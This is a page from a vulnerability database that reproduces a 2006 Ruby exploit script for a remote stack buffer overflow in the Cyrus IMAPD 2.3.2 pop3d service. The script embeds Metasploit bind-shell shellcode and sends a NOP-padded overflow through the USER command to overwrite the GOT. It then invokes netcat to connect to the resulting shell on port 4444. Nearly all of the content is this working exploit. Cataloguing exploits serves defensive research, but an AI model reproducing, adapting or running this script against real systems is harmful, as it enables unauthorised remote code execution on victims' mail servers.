Lucene search
K

Cyrus IMAPD 2.3.2 (pop3d) Remote Buffer Overflow Exploit (2)

🗓️ 21 Jul 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 43 Views

Cyrus IMAPD pop3d remote buffer overflow exploi

Code

                                                #!/usr/bin/ruby
#
# cyrus-imapd pop3d exploit
# by bannedit
#
# 05/23/2006
#	This exploit takes advantage of a stack based overflow.
#	Once the stack corruption has occured it is possible
#	to overwrite a pointer which is later used for a memcpy
#	this gives us a write anything anywhere condition similar
#	to a format string vulnerability.
#	
#	I choose to overwrite the GOT table with my shellcode and
#	return to it. This defeats the VA random patch and possibly
#	other stack protection features.
#
#	tested on gentoo-sources linux 2.6.16



require 'socket'

#will add targets for other linux distros
targets = { 'linux 2.6' => '0x080fd318', 'linux 2.6 Hardened' => '', 'freebsd' => '' }


#metasploit bind shellcode by skape 84 bytes port 4444#

shellcode = 
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"+
"\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"+
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"+
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"+
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"+
"\x89\xe1\xcd\x80"


puts "--[cyrus imapd pop3 popsubfolders exploit"
puts "----[by bannedit"
puts "-----------------------------------------"

case ARGV.length 

when 0
	puts "--- ./exploit [host] [options]"
	exit

when 1
	sock = TCPSocket.new(ARGV[0], "pop3")

when 2
	sock = TCPSocket.new(ARGV[0], "pop3")
	ret = ARGV[1].hex

end

ret = (targets['linux 2.6'].hex) 

puts "<- " + banner = sock.gets
puts "-> sending USER command"
printf " injecting shellcode: %d bytes\n", shellcode.length


#this alignment stuff should probably be cleaned up its kinda icky#

evil_buff = "USER " 
evil_buff <<"\x90" * 265 #(290 - shellcode.length)

evil_buff << ([ret].pack('V')) * 2 #return address
evil_buff <<"\x90" * (250 - shellcode.length) 
evil_buff << shellcode
evil_buff <<"\x90" * (29)
ret = ret - 277
evil_buff << ([ret].pack('V')) * 4 #0x080fd204
evil_buff <<"\r\n"

sock.send(evil_buff, 0)

sleep 9
puts " attempting to connect to #{ARGV[0]} port 4444"

cmd = "nc #{ARGV[0]} 4444"
system(cmd)

sock.close

# milw0rm.com [2006-07-21]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation